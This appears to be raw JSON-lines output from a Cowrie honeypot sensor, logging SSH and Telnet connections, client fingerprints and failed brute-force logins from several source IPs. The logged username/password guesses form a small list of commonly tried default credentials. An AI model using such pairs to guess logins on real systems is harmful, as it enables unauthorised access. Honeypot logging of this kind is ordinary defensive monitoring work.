{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:31.444027Z","src_ip":"101.36.124.219","session":"2d4bc5e3f3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:31.654904Z","src_ip":"101.36.124.219","session":"2d4bc5e3f3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P$ssw0rd","message":"login attempt [root/P$ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:32.530553Z","src_ip":"101.36.124.219","session":"2d4bc5e3f3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:33.744834Z","src_ip":"101.36.124.219","session":"2d4bc5e3f3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00398397445679,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:22:56.884361Z","src_ip":"82.147.206.14","session":"5e7910f194c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":54176,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a8c66224e04","protocol":"ssh","message":"New connection: 189.113.47.155:54176 (159.203.135.109:22) [session: 6a8c66224e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:08.677782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:08.682201Z","src_ip":"189.113.47.155","session":"6a8c66224e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:08.797660Z","src_ip":"189.113.47.155","session":"6a8c66224e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hannes123","message":"login attempt [root/hannes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:09.291843Z","src_ip":"189.113.47.155","session":"6a8c66224e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:10.416743Z","src_ip":"189.113.47.155","session":"6a8c66224e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:14.855306Z","src_ip":"8.218.166.49","session":"7ab19312974f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:27.141595Z","src_ip":"8.218.166.49","session":"ebd5a4e26c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:27.341455Z","src_ip":"8.218.166.49","session":"ebd5a4e26c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:32.249553Z","src_ip":"8.218.166.49","session":"7ab19312974f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"98.9","message":"Connection lost after 98.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:34.972752Z","src_ip":"8.218.166.49","session":"7ab19312974f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:45.162734Z","src_ip":"8.218.166.49","session":"63cae3202009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:45.895613Z","src_ip":"8.218.166.49","session":"ebd5a4e26c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":37254,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c0741c12d19","protocol":"ssh","message":"New connection: 101.36.124.219:37254 (159.203.135.109:22) [session: 6c0741c12d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:53.751425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:53.758304Z","src_ip":"101.36.124.219","session":"6c0741c12d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:53.972440Z","src_ip":"101.36.124.219","session":"6c0741c12d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":57657,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb7cdbb06a35","protocol":"ssh","message":"New connection: 88.147.30.59:57657 (159.203.135.109:22) [session: eb7cdbb06a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:53.993019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:53.996623Z","src_ip":"88.147.30.59","session":"eb7cdbb06a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:54.115170Z","src_ip":"88.147.30.59","session":"eb7cdbb06a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:54.629045Z","src_ip":"88.147.30.59","session":"eb7cdbb06a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"109.9","message":"Connection lost after 109.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:54.815222Z","src_ip":"8.218.166.49","session":"ebd5a4e26c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dspace","message":"login attempt [root/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:54.858969Z","src_ip":"101.36.124.219","session":"6c0741c12d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:55.754340Z","src_ip":"88.147.30.59","session":"eb7cdbb06a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:56.076920Z","src_ip":"101.36.124.219","session":"6c0741c12d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43ba836162d","protocol":"ssh","message":"New connection: 8.218.166.49:33496 (10.17.0.5:22) [session: f43ba836162d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:23:58.614815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:05.702465Z","src_ip":"8.218.166.49","session":"f43ba836162d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:05.707598Z","src_ip":"8.218.166.49","session":"f43ba836162d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:09.554171Z","src_ip":"8.218.166.49","session":"f43ba836162d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:10.848708Z","src_ip":"8.218.166.49","session":"f43ba836162d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10713,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3066a85d2b","protocol":"telnet","message":"New connection: 82.147.206.14:10713 (10.17.0.5:23) [session: cb3066a85d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:31.335362Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10714,"dst_ip":"10.17.0.5","dst_port":23,"session":"14d581b3ee8a","protocol":"telnet","message":"New connection: 82.147.206.14:10714 (10.17.0.5:23) [session: 14d581b3ee8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:32.489965Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32516,"dst_ip":"159.203.135.109","dst_port":22,"session":"93b6b09cb14f","protocol":"ssh","message":"New connection: 213.209.159.56:32516 (159.203.135.109:22) [session: 93b6b09cb14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:35.769572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:35.775017Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:35.872259Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala","message":"login attempt [mykala/mykala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:36.271481Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala1","message":"login attempt [mykala/mykala1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:37.356534Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57578,"dst_ip":"10.17.0.5","dst_port":22,"session":"5478f8589ef1","protocol":"ssh","message":"New connection: 8.218.166.49:57578 (10.17.0.5:22) [session: 5478f8589ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:37.750386Z"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala123","message":"login attempt [mykala/mykala123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:38.441352Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala1234","message":"login attempt [mykala/mykala1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:39.526966Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala12345","message":"login attempt [mykala/mykala12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:40.612085Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:41.696663Z","src_ip":"213.209.159.56","session":"93b6b09cb14f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60714,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae420c91668b","protocol":"ssh","message":"New connection: 8.218.166.49:60714 (10.17.0.5:22) [session: ae420c91668b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:46.132511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:24:46.136897Z","src_ip":"8.218.166.49","session":"ae420c91668b","protocol":"ssh"}
